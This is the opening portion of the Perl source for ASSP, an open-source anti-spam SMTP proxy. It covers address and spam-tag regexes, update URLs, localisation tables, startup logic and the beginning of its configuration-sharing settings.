#!/usr/bin/perl --
# anti spam smtp proxy 
our $version 		= '1.9.4.7 ';
our $modversion		= '(1.0.03)';
# (c) John Hanna, John Calvi, Robert Orso, AJ 2004 under the terms of the GPL
# (c) Fritz Borgstedt 2006 under the terms of the GPL
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation;

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# ASSP founded and developed to Version 1.0.12 by John Hanna
# ASSP development since 1.0.12 by John Calvi
# ASSP development since 1.2.0 by Fritz Borgstedt
# ASSP V2 pro development since 2.0.0 by Thomas Eckardt 
#
# Feature implementations:
# AJ - Web interface
# Robert Orso - LDAP
# Nigel Barling - SPF & DNSBL
# Mark Pizzolato - SMTP Session Limits
# Przemek Czerkas - SRS, Delaying, Maillog Search, HTTP Compression, URIBL, RWL,
#					and many ideas and pieces
# Craig Schmitt - SPF2 & code optimizing
# J.R. Oldroyd - SSL support, IPv6 support, griplist/stats upload/download
# Thomas Eckardt - 	DB Support, Blockreports, VRFY-check,  					
# 					MailLog- and Resend-Function and lots of other stuff
# Misc. contributions:
# Wim Borghs, Doug Traylor, Lars Troen, Marco Tomasi,
# Andrew Macpherson, Marco Michelino, Matti Haack, Dave Emory
#

use strict qw(vars subs);

use bytes;    # get rid of annoying 'Malformed UTF-8' messages
use Encode;
use Encode::Guess;
use MIME::Base64;
use File::Copy;
use IO::Uncompress::Unzip qw(unzip $UnzipError) ;
use IO::Select;
use IO::Socket;
use Net::Ping;
use Sys::Hostname;
use Time::Local;
use Time::HiRes;
use HTML::Entities ();
use Cwd;
no warnings qw(uninitialized);  # possibly add   'recursion'
use vars qw(@ISA @EXPORT);
#
our $utf8 = sub {};
our $open = sub { open(shift,shift,shift); };
our $unicodeFH = sub {};
our $unicodeDH = sub { opendir(my $d,shift);my @l = readdir($d);close $d;return @l; };
our $move = sub { File::Copy::move(shift,shift) };
our $copy = sub { File::Copy::copy(shift,shift) };
our $unlink = sub { unlink(shift) };
our $rename = sub { rename(shift,shift) };
our $chmod = sub { chmod(shift,shift) };
our $stat = sub { stat(shift) };
our $eF = sub { -e shift; };
our $dF = sub { -d shift; };
our $unicodeName = sub { $_[0];};
#
our $PROGRAM_NAME 	= 	$0;
our $assp = $0;
our $OSNAME 		=	$^O;
our $Charsets;
our $CE;
our $MAINVERSION = $version . $modversion;
our	$CFG;
our $defaultLogCharset;
our $defaultClamSocket;
our $destinationA;
our $RememberGUIPos = 0;
our $WorkerNumber = 0;
our $host2IPminTTL = 7200;                
our $LogDateFormat;
our $LogDateLang;
our $LogCharset;
our $LOG;
our $LOGstatus;
our $WorkerName;
our %lngmsg;
our %lngmsghint;
our $NODHO = 1;
our $globalRegisterURL;
our $globalUploadURL;
our $GPBinstallLib;
our $GPBmodTestList;
our $GPBCompLibVer;
our $GPB;


#### connection list
our $ShowPerformanceData;
our $CanUseSysMemInfo;
our $TransferInterrupt;
our $TransferNoInterruptTime;
our $i_bw_time;
our $i_tw_time;
our $DoDamping;
our $maxDampingTime;
our $NumComWorkers;
our $MailCountTmp;
our $MailCount;
our $TransferCount;
our $TransferInterrupt;
our $ThreadsDoStatus;
our $lastThreadsDoStatus;
our $MailTime;
our $MailTimeTmp;
our $TransferTime;
our $TransferInterruptTime;
#### connection list


our $ProtPrefix = '(?:'.erw('ht').'|' .erw('f').')'.erw('tp').erw('s','?').erw('://');  # (ht|f)tps?://

# set the blocking mode for HTTPS (0/1 default is 0) and HTTP (0/1 default is 0) on the GUI
our $HTTPSblocking = 1;
our $HTTPblocking = 1;

# set the blocking mode for STATS connection (0/1) - default is 0
our $STATSblocking = 0;

our $TimeZoneDiff = time;
$TimeZoneDiff = Time::Local::timelocal(localtime($TimeZoneDiff))-Time::Local::timelocal(gmtime($TimeZoneDiff));



# change regexes in ConfigCompileRe to allow grouping only (...) -> (?:...) to spend memory
our $RegexGroupingOnly = 1;

# some special regular expressions
our $ScheduleRe;
our $ScheduleGUIRe;
our $neverMatchRE;
our $punyRE;
our $EmailAdrRe;
our $EmailDomainRe;
our $HeaderNameRe;
our $HeaderValueRe;
our $HeaderRe;
our $UUENCODEDRe;
our $UTFBOMRE;
our $UTF8BOMRE;
our $UTF8BOM;
our $complexREStart;
our $complexREEnd;
our $dot;
our $DoTLS = 2;
our $DoHMM;
our $UriDot;
our $NONPRINT;
our $notAllowedSMTP;
# IP Address representations
our $IPprivate;
our $IPQuadSectRE;
our $IPQuadSectDotRE;
our $IPQuadRE;
our $IPStrictQuadRE;

# Host
our $IPSectRe;
our $IPSectHexRe;
our $IPSectDotRe;
our $IPSectHexDotRe;
our $IPRe;
our $IPv4Re;
our $IPv6Re;
our $IPv6LikeRe;
our $PortRe;
our $HostRe;
our $HostPortRe;

# for GUI check
our $GUIHostPort;
# some special regular expressions
my $w = 'a-zA-Z0-9_';
my $d = '0-9';
$ScheduleRe = '(?:\S+\s+){4}\S+';
$ScheduleGUIRe = '^('.$ScheduleRe.'(?:\|'.$ScheduleRe.")*|[$d]+|)\$";
$neverMatchRE = (substr($],0,5) gt '5.012' ? '(?:'.quotemeta ('(?^:').')?' : '') . quotemeta ('(?-xism:(?') . '[ixsm]{0,4}(?:' . quotemeta (':(?|^(?!))))'). '|' . quotemeta ('(^(?!))))') . ')' . (substr($],0,5) gt '5.012' ? '[\)]?' : '');
$neverMatchRE = qr/$neverMatchRE/o;
$punyRE = 'xn--[a-zA-Z0-9\-]+';
$EmailAdrRe=qr/[^()<>@,;:"\[\]\000-\040\x7F-\xFF]+/o;
$EmailDomainRe=qr/(?:\w[\w\-]*(?:\.\w[\w\-]*)*\.(?:$punyRE|\w\w+)|\[\d[\d\.]*\.\d+\])/o;

$HeaderNameRe=qr/\S[^\r\n]*/o;
$HeaderValueRe=qr/[ \t]*[^\r\n]*(?:\r?\n[ \t]+\S[^\r\n]*)*(?:\r?\n)?/o;
$HeaderRe=qr/(?:$HeaderNameRe:$HeaderValueRe)/o;
$UUENCODEDRe=qr/\bbegin\b \d\d\d \b\S{0,72}.*?\S{61}.{0,61}\bend\b/o;
$UTFBOMRE = qr/(?:\x00\x00\xFE\xFF|\xFF\xFE\x00\x00|\xFE\xFF|\xFF\xFE|$UTF8BOM)/o;
$UTF8BOMRE = qr/(?:$UTF8BOM)/o;
$NONPRINT = qr/[\x00-\x1F\x7F-\xFF]/o;
$notAllowedSMTP = qr/CHUNKING|PIPELINING|XEXCH50|
                     SMTPUTF8|UTF8REPLY|
                     UTF8SMTP|UTF8SMTPA|UTF8SMTPS|UTF8SMTPAS|
                     UTF8LMTP|UTF8LMTPA|UTF8LMTPS|UTF8LMTPAS|
                     XCLIENT|XFORWARD|
                     TURN|ATRN|ETRN|TURNME|X-TURNME|XTRN|
                     SEND|SOML|SAML|EMAL|ESAM|ESND|ESOM|
                     XAUTH|XQUE|XREMOTEQUEUE|
                     X-EXPS|X-ADAT|X-DRCP|X-ERCP|EVFY|
                     8BITMIME|BINARYMIME|BDAT|
                     AUTH GSSAPI|AUTH NTLM|X-LINK2STATE
                  /oix;
# IP Address representations
my $sep;
my $v6Re = '[0-9A-Fa-f]{1,4}';
$IPSectRe = '(?:25[0-5]|2[0-4]\d|1\d\d|0?\d?\d)';
$IPSectHexRe = '(?:(?:0x)?(?:[A-Fa-f][A-Fa-f0-9]?|[A-Fa-f0-9]?[A-Fa-f]))';

$IPprivate  = '^(?:0{1,3}\.0{1,3}\.0{1,3}\.0{1,3}|127(?:\.'.$IPSectRe.'){3}|169\.254(?:\.'.$IPSectRe.'){2}|0?10(?:\.'.$IPSectRe.'){3}|192\.168(?:\.'.$IPSectRe.'){2}|172\.0?1[6-9](?:\.'.$IPSectRe.'){2}|172\.0?2[0-9](?:\.'.$IPSectRe.'){2}|172\.0?3[01](?:\.'.$IPSectRe.'){2})$';   #RFC 1918 decimal
$IPprivate .= '|^(?:(?:0x)?0{1,2}\.(?:0x)?0{1,2}\.(?:0x)?0{1,2}\.(?:0x)?0{1,2}|(?:0x)?7[Ff](?:\.'.$IPSectHexRe.'){3}|(?:0x)?[aA]9\.(?:0x)?[Ff][Ee](?:\.'.$IPSectHexRe.'){2}|(?:0x)?0[aA](?:\.'.$IPSectHexRe.'){3}|(?:0x)?[Cc]0\.(?:0x)?[Aa]8(?:\.'.$IPSectHexRe.'){2}|(?:0x)[Aa][Cc]\.(?:0x)1[0-9a-fA-F](?:\.'.$IPSectHexRe.'){2})$';   #RFC 1918 Hex
$IPprivate .= '|^(?:0{0,4}:){2,6}'.$IPprivate.'$';  # privat IPv4 in IPv6
$IPprivate .= '|^(?:0{0,4}:){2,7}[1:]?$';  # IPv6 loopback and universal

$IPQuadSectRE='(?:0([0-7]+)|0x([0-9a-fA-F]+)|(\d+))';
$IPQuadSectDotRE='(?:'.$IPQuadSectRE.'\.)';
$IPQuadRE=qr/$IPQuadSectDotRE?$IPQuadSectDotRE?$IPQuadSectDotRE?$IPQuadSectRE/o;

$complexREStart = '^(?=.*?(((?!)';
$complexREEnd = '(?!)).*?(?!\g{-1})){';
$dot = '[^a-zA-Z0-9\.]?d[^a-zA-Z0-9\.]?o[^a-zA-Z0-9\.]?t[^a-zA-Z0-9\.]?|[\=\%]2[eE]|\&\#0?46\;?';      # the DOT
$UriDot = '(?:[\=\%]2[eE]|\&\#0?46\;?|\.)';

$IPSectDotRe = '(?:'.$IPSectRe.'\.)';
$IPSectHexDotRe = '(?:'.$IPSectHexRe.'\.)';
$IPv4Re = qr/(?:
(?:$IPSectDotRe){3}$IPSectRe
|
(?:$IPSectHexDotRe){3}$IPSectHexRe
)/xo;

# privat IPv6 addresses
$IPprivate .= <<EOT;
|^(?i:FE[89A-F][0-9A-F]):
(?:
(?:(?:$v6Re:){6}(?:                                $v6Re      |:))|
(?:(?:$v6Re:){5}(?:                   $IPv4Re |   :$v6Re      |:))|
(?:(?:$v6Re:){4}(?:                  :$IPv4Re |(?::$v6Re){1,2}|:))|
(?:(?:$v6Re:){3}(?:(?:(?::$v6Re)?    :$IPv4Re)|(?::$v6Re){1,3}|:))|
(?:(?:$v6Re:){2}(?:(?:(?::$v6Re){0,2}:$IPv4Re)|(?::$v6Re){1,4}|:))|
(?:(?:$v6Re:)   (?:(?:(?::$v6Re){0,3}:$IPv4Re)|(?::$v6Re){1,5}|:))|
                (?:(?:(?::$v6Re){0,4}:$IPv4Re)|(?::$v6Re){1,6}|:)
)\$
EOT
$IPprivate = qr/$IPprivate/xo;

# RFC4291, section 2.2, "Text Representation of Addresses"
$sep = '[:-]';
$IPv6Re = $IPv6LikeRe = <<EOT;
(?:
(?:(?:$v6Re$sep){7}(?:                                         $v6Re      |$sep))|
(?:(?:$v6Re$sep){6}(?:                         $IPv4Re |   $sep$v6Re      |$sep))|
(?:(?:$v6Re$sep){5}(?:                     $sep$IPv4Re |(?:$sep$v6Re){1,2}|$sep))|
(?:(?:$v6Re$sep){4}(?:(?:(?:$sep$v6Re)?    $sep$IPv4Re)|(?:$sep$v6Re){1,3}|$sep))|
(?:(?:$v6Re$sep){3}(?:(?:(?:$sep$v6Re){0,2}$sep$IPv4Re)|(?:$sep$v6Re){1,4}|$sep))|
(?:(?:$v6Re$sep){2}(?:(?:(?:$sep$v6Re){0,3}$sep$IPv4Re)|(?:$sep$v6Re){1,5}|$sep))|
(?:(?:$v6Re$sep)   (?:(?:(?:$sep$v6Re){0,4}$sep$IPv4Re)|(?:$sep$v6Re){1,6}|$sep))|
(?:        $sep    (?:(?:(?:$sep$v6Re){0,5}$sep$IPv4Re)|(?:$sep$v6Re){1,7}|$sep))
)
EOT

$IPv6Re =~ s/\Q$sep\E/:/go;
$IPv6Re = qr/$IPv6Re/xo;
$IPv6LikeRe = qr/$IPv6LikeRe/xo;

$IPRe = qr/(?:$IPv4Re|$IPv6Re)/xo;

# re for a single port - could be number 1 to 65535
$PortRe = qr/(?:(?:[1-6]\d{4})|(?:[1-9]\d{0,3}))/o;
# re for a single host - could be an IP a name or a fqdn
$HostRe = qr/(?:(?:$IPv4Re|\[?$IPv6Re\]?)|$EmailDomainRe|\w\w+)/o;
$HostPortRe = qr/$HostRe:$PortRe/o;
$GUIHostPort = qr/^((?:(?:$PortRe|$HostPortRe)(?:\|(?:$PortRe|$HostPortRe))*)|)$/o;
#
our $HamTagRE;
our $SpamTagRE;
$SpamTagRE = qr/(?:
                  \[
                  (?:
                   Attachment | AUTHError

                   Backscatter | BATV | Bayesian |
                   BlackDomain | BlackHELO | BombBlack |
                   BombData | BombHeader | BombRe |
                   BombScript | BombSender | BounceAddress |

                   Collect | Connection | CountryCode |

                   DCC | DNSBL | Delayed | DenyIP |
                   DenyStrict | DomainKey | DKIM |

                   Extreme | ForgedHELO |
                   ForgedLocalSender | FromMissing |

                   History | HMM |

                   IPfrequency | IPperDomain |
                   InternalAddress | InvalidAddress | InvalidHELO |

                   MailLoop | MalformedAddress | Max-Equal-X-Header |
                   MaxAUTHErrors | MaxErrors | MessageScore |
                   messageSize | MaxRealMessageSize | MaxMessageSize |
                   MissingMXA? | MsgID | MSGID-sig |

                   Organization | OversizedHeader |

                   PTRinvalid | PTRmissing | PenaltyBox | Penalty |

                   razor | RelayAttempt |

                   SPF | SRS | SpoofedSender |
                   SuspiciousHelo |

                   Trap |
                   UnknownLocalSender | URIBL |
                   VIRUS | ValidHELO |

                   WhitelistOnly
                  )
                  \] |
                   spam\sfound
               )/iox;

$HamTagRE = qr/(?:\[(?:Local|MessageOK|RWL|Whitelisted|NoProcessing)\])/io;
our $IsDaemon;
our $availversion = "";
our $versionURL;
our $NewAsspURL;
our $NewRebuildURL;
our $ChangeLogURL;
our $AddURIS2MyHeader;
our $enableCrashAnalyzer = 0;
our $AllowInternalsInRegex = 1;

our $enableStrongRegexOptimization = 0;
our $crashHMM;
our $IPv6TestPort = '51965';

our @NonSymLangs = qw (
    InAlphabeticPresentationForms
    InArabic
    InArabicPresentationFormsA
    InArabicPresentationFormsB
    InArmenian
    InBasicLatin
    InCyrillic
    InCyrillicSupplementary
    InEnclosedAlphanumerics
    InGeorgian
    InGothic
    InGreekExtended
    InGreekAndCoptic
    InHebrew
    InLatin1Supplement
    InLatinExtendedA
    InLatinExtendedAdditional
    InLatinExtendedB
    InLetterlikeSymbols
    InMathematicalAlphanumericSymbols
    InMathematicalOperators
    InOldItalic
    InOpticalCharacterRecognition
);

our $NonSymLangRE;
$NonSymLangRE .= '\p{'.$_.'}|' for (@NonSymLangs);
chop $NonSymLangRE;
$NonSymLangRE = qr/$NonSymLangRE/;

our $IOEngineRun = 1;
our $tlds_alpha_URL = 'http://data.iana.org/TLD/tlds-alpha-by-domain.txt';
our $tlds2_URL = 'http://george.surbl.org/two-level-tlds';

#    "http://www.surbl.org/tld/two-level-tlds",
#    "http://assp.cvs.sourceforge.net/viewvc/*checkout*/assp/assp2/files/URIBLCCTLDS-L2.txt",
our $tlds3_URL = 'http://george.surbl.org/three-level-tlds';
#    "http://www.surbl.org/tld/three-level-tlds",
#    "http://assp.cvs.sourceforge.net/viewvc/*checkout*/assp/assp2/files/URIBLCCTLDS-L3.txt",

our $BackDNSFileURL = 'http://wget-mirrors.uceprotect.net/rbldnsd-all/ips.backscatterer.org.gz';
our $versionURLStable = "http://downloads.sourceforge.net/project/assp/ASSP%20Installation/AutoUpdate/ASSP1x/version.txt";
our $NewAsspURLStable = 'http://downloads.sourceforge.net/project/assp/ASSP%20Installation/AutoUpdate/ASSP1x/assp.pl.gz';

our $NewRebuildURLStable = 'http://downloads.sourceforge.net/project/assp/ASSP%20Installation/AutoUpdate/ASSP1x/rebuildspamdb.pl.gz';
our $ChangeLogURLStable = 'http://downloads.sourceforge.net/project/assp/ASSP%20Installation/AutoUpdate/ASSP1x/changelog.txt';

our $versionURLDev = "http://downloads.sourceforge.net/project/assp/ASSP%20Installation/AutoUpdate/ASSP1dev/version.txt";
our $NewAsspURLDev = 'http://downloads.sourceforge.net/project/assp/ASSP%20Installation/AutoUpdate/ASSP1dev/assp.pl.gz';

our $NewRebuildURLDev = 'http://downloads.sourceforge.net/project/assp/ASSP%20Installation/AutoUpdate/ASSP1dev/rebuildspamdb.pl.gz';
our $ChangeLogURLDev = 'http://downloads.sourceforge.net/project/assp/ASSP%20Installation/AutoUpdate/ASSP1dev/changelog.txt';

our $gripListDownUrl = 'http://*HOST*/cgi-bin/assp_griplist?binary';
our $gripListUpUrl = 'http://*HOST*/cgi-bin/assp_griplist?binary';
our $gripListUpHost = 'assp.sourceforge.net';
$gripListDownUrl =~ s/\*HOST\*/$gripListUpHost/o;
$gripListUpUrl  =~ s/\*HOST\*/$gripListUpHost/o;
our $GroupsFileURL = 'http://assp.cvs.sourceforge.net/viewvc/*checkout*/assp/assp/files/groups.txt';

eval { $^M = 'a' x ( 1 << 16 ); };    # use 64KB for "out of memory" area


warn
"Perl version 5.008006 (5.8.6) is needed to run ASSP $version - you are running Perl version $] - please upgrade Perl\n"
  if ( $] lt '5.008006' );


#-----------
our $isThreaded = 0;     # <----  never change this line !!!!!
#-----------

our $SvcStopping 	= 	0;            # AZ: 2009-02-05 - signal service status
our $CleanUpTick	= 	0;
our %Config;
our %ConfigSync;
our %ConfigSyncServer;
our %newConfig;
our %ConfigAdd;
our @ConfigArray;
# define date names for languages
# 0:English|1:FranÁais|2:Deutsch|3:EspaÒol|4:PortuguÍs|5:Nederlands
# 6:Italiano|7:Norsk|8:Svenska|9:Dansk|10:suomi|11:Magyar|12:polski|13:Romaneste
our @Month_to_Text =
(
    [
        'January', 'February', 'March', 'April', 'May', 'June',
        'July', 'August', 'September', 'October', 'November', 'December'
    ],
    [
        'janvier', 'fÈvrier', 'mars', 'avril', 'mai', 'juin',
        'juillet', 'ao˚t', 'septembre', 'octobre', 'novembre', 'dÈcembre'
    ],
    [
        'Januar', 'Februar', 'M‰rz', 'April', 'Mai', 'Juni',
        'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember'
    ],
    [
        'enero', 'febrero', 'marzo', 'abril', 'mayo', 'junio',
        'julio', 'agosto', 'septiembre', 'octubre', 'noviembre', 'diciembre'
    ],
    [
        'janeiro', 'fevereiro', 'marÁo', 'abril', 'maio', 'junho',
        'julho', 'agosto', 'setembro', 'outubro', 'novembro', 'dezembro'
    ],
    [
        'januari', 'februari', 'maart', 'april', 'mei', 'juni',
        'juli', 'augustus', 'september', 'oktober', 'november', 'december'
    ],
    [
        'Gennaio', 'Febbraio', 'Marzo', 'Aprile', 'Maggio', 'Giugno',
        'Luglio', 'Agosto', 'Settembre', 'Ottobre', 'Novembre', 'Dicembre'
    ],
    [
        'januar', 'februar', 'mars', 'april', 'mai', 'juni',
        'juli', 'august', 'september', 'oktober', 'november', 'desember'
    ],
    [
        'januari', 'februari', 'mars', 'april', 'maj', 'juni',
        'juli', 'augusti', 'september', 'oktober', 'november', 'december'
    ],
    [
        'januar', 'februar', 'marts', 'april', 'maj', 'juni',
        'juli', 'august', 'september', 'oktober', 'november', 'december'
    ],
    [
        'tammikuu', 'helmikuu', 'maaliskuu', 'huhtikuu',
        'toukokuu', 'kes‰kuu', 'hein‰kuu', 'elokuu',
        'syyskuu', 'lokakuu', 'marraskuu', 'joulukuu'
    ],
    [
        'Janu·r', 'Febru·r', 'M·rcius', '¡prilis', 'M·jus', 'J˙nius',
        'J˙lius', 'Augusztus', 'Szeptember', 'OktÛber', 'November', 'December'
    ],
    [
        'Styczen', 'Luty', 'Marzec', 'Kwiecien', 'Maj', 'Czerwiec',     # ISO-Latin-1 approximation
        'Lipiec', 'Sierpien', 'Wrzesien', 'Pazdziernik', 'Listopad', 'Grudzien'
    ],
    [
        'Ianuarie', 'Februarie', 'Martie', 'Aprilie', 'Mai', 'Iunie',
        'Iulie', 'August', 'Septembrie', 'Octombrie', 'Noiembrie', 'Decembrie'
    ]
);

# 0:English|1:FranÁais|2:Deutsch|3:EspaÒol|4:PortuguÍs|5:Nederlands
# 6:Italiano|7:Norsk|8:Svenska|9:Dansk|10:suomi|11:Magyar|12:polski|13:Romaneste
our @Day_to_Text =
(
    [
        'Monday', 'Tuesday', 'Wednesday',
        'Thursday', 'Friday', 'Saturday', 'Sunday'
    ],
    [
        'Lundi', 'Mardi', 'Mercredi',
        'Jeudi', 'Vendredi', 'Samedi', 'Dimanche'
    ],
    [
        'Montag', 'Dienstag', 'Mittwoch',
        'Donnerstag', 'Freitag', 'Samstag', 'Sonntag'
    ],
    [
        'Lunes', 'Martes', 'MiÈrcoles',
        'Jueves', 'Viernes', 'S·bado', 'Domingo'
    ],
    [
        'Segunda-feira', 'TerÁa-feira', 'Quarta-feira',
        'Quinta-feira', 'Sexta-feira', 'S·bado', 'Domingo'
    ],
    [
        'Maandag', 'Dinsdag', 'Woensdag',
        'Donderdag', 'Vrijdag', 'Zaterdag', 'Zondag'
    ],
    [
        'LunedÏ', 'MartedÏ', 'MercoledÏ',
        'GiovedÏ', 'VenerdÏ', 'Sabato', 'Domenica'
    ],
    [
        'mandag', 'tirsdag', 'onsdag',
        'torsdag', 'fredag', 'l¯rdag', 's¯ndag'
    ],
    [
        'mÂndag', 'tisdag', 'onsdag',
        'torsdag', 'fredag', 'lˆrdag', 'sˆndag'
    ],
    [
        'mandag', 'tirsdag', 'onsdag',
        'torsdag', 'fredag', 'l¯rdag', 's¯ndag'
    ],
    [
        'maanantai', 'tiistai', 'keskiviikko',
        'torstai', 'perjantai', 'lauantai', 'sunnuntai'
    ],
    [
        'hÈtfı', 'kedd', 'szerda',
        'cs¸tˆrtˆk', 'pÈntek', 'szombat', 'vas·rnap'
    ],
    [
        'poniedzialek', 'wtorek', 'sroda',     # ISO-Latin-1 approximation
        'czwartek', 'piatek', 'sobota', 'niedziela'
    ],
    [
        'Luni', 'Marti', 'Miercuri',
        'Joi', 'Vineri', 'Sambata', 'Duminica'
    ]
);

BEGIN {
 STDOUT->autoflush;
 STDERR->autoflush;
 use vars qw($wikiinfo);
 use vars qw($base);
 push @EXPORT, qw($base $wikiinfo);
 $wikiinfo = "get?file=images/info.png";
 setLocalCharsets();
 setClamSocket();
	
# load from command line if specified

if($ARGV[0]) { 
 $base=$ARGV[0]; 
} else { 
 # the last one is the one used if all else fails 
 $base = cwd(); 
 unless (-e "$base/assp.cfg" || -e "$base/assp.cfg.tmp") {
   foreach ('.','/usr/local/assp','/home/assp','/etc/assp','/usr/assp','/applications/assp','/assp','.') {
    if (-e "$_/assp.cfg") {
      $base=$_;
      last ;
    } 
   } 
 } 
 $base = cwd() if $base eq '.'; 
}

if ( !-e "$base/images/noIcon.png" && lc($ARGV[0]) ne '-u')
{
 writeExceptionLog("Abort: folder '$base/images' not correctly installed");
 print "\nusage: perl assp.pl [baseDir|-u|] [-i|ddddd|] [--configParm:=configValue --configParm:=configValue ...|]\n";
 print "baseDir must be defined if any other parameter is used\n";
 die "\n\nAbort: folder '$base/images' not correctly installed\n\n";
}

if ($ARGV[0] =~ /(?:\/|-{1,2})(?:\?|help|usage)/oi) {
 print "\nusage: perl assp.pl [baseDir|-u|] [-i|ddddd|] [--configParm:=configValue --configParm:=configValue ...|]\n";
 print "baseDir must be defined if any other parameter is used\n";
 print "-u - uninstalls the service on windows - no other parm is allowed\n";
 print "-i - installs an assp service on windows\n";
 print "ddddd - overwrites the 'webAdminPort' - same like --webAdminPort:=ddddd\n";
 print "--configParm:=configValue - overwrites the configuration parameter (case sensitive) 'configParm' with the value 'configValue'\n";

 exit;
}

unless (chdir $base) {
 writeExceptionLog("Abort: unable to change to basedirectory $base");
 die "\n\nAbort: unable to change to basedirectory $base\n\n";
}
$base = cwd();




our $dftrestartcmd;
our $dftrebuildcmd;
our $dftCaFile;
our $dftCertFile;
our $dftPrivKeyFile;
our $startsecondcmd;

our $asspbase = $base;

my $assp = $0;
my $perl = $^X;

if ( $^O eq "MSWin32" ) {
	$assp = $base.'\\'.$assp if ($assp !~ /\Q$base\E/io);
    $assp =~ s/\//\\/go;
    my $asspbase = $base;
    $asspbase =~ s/\\/\//go;
    $dftrestartcmd = "cmd.exe /C start \"ASSPSMTP restarted\" \"$perl\" \"$assp\" \"$asspbase\"";
    $startsecondcmd = "\"$perl\" \"$assp\" \"$asspbase\" --AsASecondary:=1";
    $dftrebuildcmd = "\"$perl\" \"$base\\rebuildspamdb.pl\" \"$asspbase\" silent &";
} else {
    $assp = $base.'/'.$assp if ($assp !~ /\Q$base\E/io);
    $dftrestartcmd 	= "sleep 30;\"$^X\" \"$assp\" \"$base\" \&";
    $startsecondcmd = "sleep 30;\"$^X\" \"$assp\" \"$base\"  --AsASecondary:=1";
    $dftrebuildcmd 	= "\"$^X\" \"$base/rebuildspamdb.pl\" \"$base\" silent &";
}
$dftCertFile = "$base/certs/server-cert.pem";
$dftCertFile =~ s/\\/\//go;
$dftPrivKeyFile = "$base/certs/server-key.pem";
$dftPrivKeyFile =~ s/\\/\//go;
$dftCaFile = "$base/certs/server-ca.crt";
$dftCaFile =~ s/\\/\//go;
our $dftrestartcomment;
if ( $^O ne "MSWin32" ) {
	$dftrestartcomment = " If you use runAsUser make sure to start ASSP with root privileges (sudo)."; 
}
    # vars needed in @Config
    # print "loading config -- base='$base'\n";


# except for the heading lines, all config lines have the following:
#  $name,$nicename,$size,$func,$default,$valid,$onchange,$description(,CssAdition)
# name is the variable name that holds the data
# nicename is a human readable pretty display name (oh how nice!)
# size is the appropriate input box size
# func is a function called to render the config item
# default is the default value
# valid is a regular expression used to clean and validate the input -- no match is an error and $1 is the desired result
# onchange is a function to be called when this value is changed -- usually undef; just updating the value is enough
# group is the heading group belonged to.
# description is text displayed to help the user figure what to put in the entry
# CssAdition (optional) adds the string to the CSS-name for nicename Style


  our @Config = (
  [0,0,0,'heading','Configuration Sharing'],
['enableCFGShare','Enable Configuration Sharing',0,\&checkbox,'','(.*)','ConfigChangeEnableCFGSync', '<hr><b>Read all positions in this section carefully (multiple times is recommended!!!)! A wrong configuration sequence or wrong configuration values can lead in to a destroyed ASSP configuration!</b><hr>
  If set, the configuration value and option files synchronization will be enabled. This synchronization belong to the configuration values, to the file that is possibly defined in a value and to the include files that are possibly defined in the configured file.<br />
  If the configuration of all values in this section is valid, the synchronization status will be shown in the GUI for each config value that is, or <b>could be shared</b>. There are several configuration values, that could not be shared. The list of all shareable values could be found in the distributed file assp_sync.cfg<br /><br />
  For an initial synchronization setup set the following config values in this order: setup syncServer, syncConfigFile, syncTestMode and as last syncCFGPass (leave isShareSlave and isShareMaster off). Use the default (distributed syncConfigFile assp_sync.cfg) file and configure all values to your needs - do this on all peers by removing lines or setting the general sync flag to 0 or 1 (see the description of syncConfigFile ).<br />
  If you have finished this initial setup, enable isShareMaster or isShareSlave - now assp will setup all entrys in the configuration file for all sync peers to the configured default values (to 1 if isShareMaster or to 3 if isShareSlave is selected). Do this on all peers. Now you can configure the synchronization behavior for each single configuration value for each peer, if it should differ from the default setup.<br />
  For the initial synchronization, configure only one ASSP installation as master (all others as slave). If the initial synchronization has finished, which will take up to one hour, you can configure all or some assp as master and slave. On the initial master simply switch on isShareSlave. On the inital slaves, switch on isShareMaster and change all values in the sync config file that should be bedirectional shared from 3 to 1. As last action enable enableCFGShare on the SyncSlaves first and then on the SyncMaster.<br />
  After such an initial setup, any changes of the peers (syncServer) will have no effect to the configuration file (syncConfigFile)! To add or remove a sync peer after an initial setup, you have to configure syncServer and you have to edit the sync config file manualy.<br /><br />
  This option can only be enabled, if isShareMaster and/or isShareSlave and syncServer and syncConfigFile and syncCFGPass are configured!<br />
  <b>Because the synchronization is done using a special SMTP protocol (without "mail from" and "rcpt to"), this option requires an installed Net::SMTP module in PERL. This special SMTP protocol is not usable to for any MTA for security reasons, so the "sync mails" could not be forwarded via any MTA.<br />
  For this reason all sync peers must have a direct or routed TCP connection to each other peer.</b><br />
  <input type="button" value="show sync status" onclick="javascript:popFileEditor(\'files/sync_failed.txt\',8);" />',undef,undef,'msg009170','msg009171'],
['isShareMaster','This is a Share Master',0,\&checkbox,'','(.*)','ConfigChangeSync', 'If selected, ASSP will send configured configuration changes to sync peers.',undef,undef,'msg009180','msg009181'],
['isShareSlave','This is a Share Slave',0,\&checkbox,'','(.*)','ConfigChangeSync', 'If selected, ASSP will receive configured configuration changes from sync peers. To accept a sync request, every sending peer has to be defined in syncServer - even if there are manualy made entrys in the sync config file for a peer.',undef,undef,'msg009190','msg009191'],
['syncServer','Default Sync Peers',100,\&textinput,'','(.*)','ConfigChangeSyncServer','Define all configuration sync peers here (to send changes to or to receive changes from). Sepatate multiple values by "|". Any value must be a pair of hostname or ip-address and :port, like 10.10.10.10:25 or mypeerhost:125 or mypeerhost.mydomain.com:225. The :port must be defined!<br />
  The target port can be the listenPort , listenPort2 or relayPort of the peer.',undef,undef,'msg009200','msg009201'],
['syncTestMode','Test Mode for Config Sync',0,\&checkbox,'','(.*)',undef, 'If selected, a master (isShareMaster) will process all steps to send configuration changes, but will not really send the request to the peers. A slave (isShareSlave) will receive all sync requests, but it will not change the configuration values and possibly sent configuration files will be stored at the original location and will get an extension of ".synctest".',undef,undef,'msg009210','msg009211'],
['syncConfigFile','Configuration File for Config Sync*',40,\&textinput,'file:assp_sync.cfg','(file:\S+|)','ConfigChangeSyncFile','Define the synchronization configuration file here (default is file:assp_sync.cfg).<br />
 This file holds the configuration and the current status of all synchronized assp configuration values.<br />
 The format of an initial value is:  "varname:=syncflag" - where syncflag could be 0 -not shared and 1 -is shared - for example: HeaderMaxLength:=1 . The syncflag is a general sign, which meens, a value of 0 disables the synchronization of the config value for all peers. A value of 1, enables the peer configuration that possibly follows.<br />
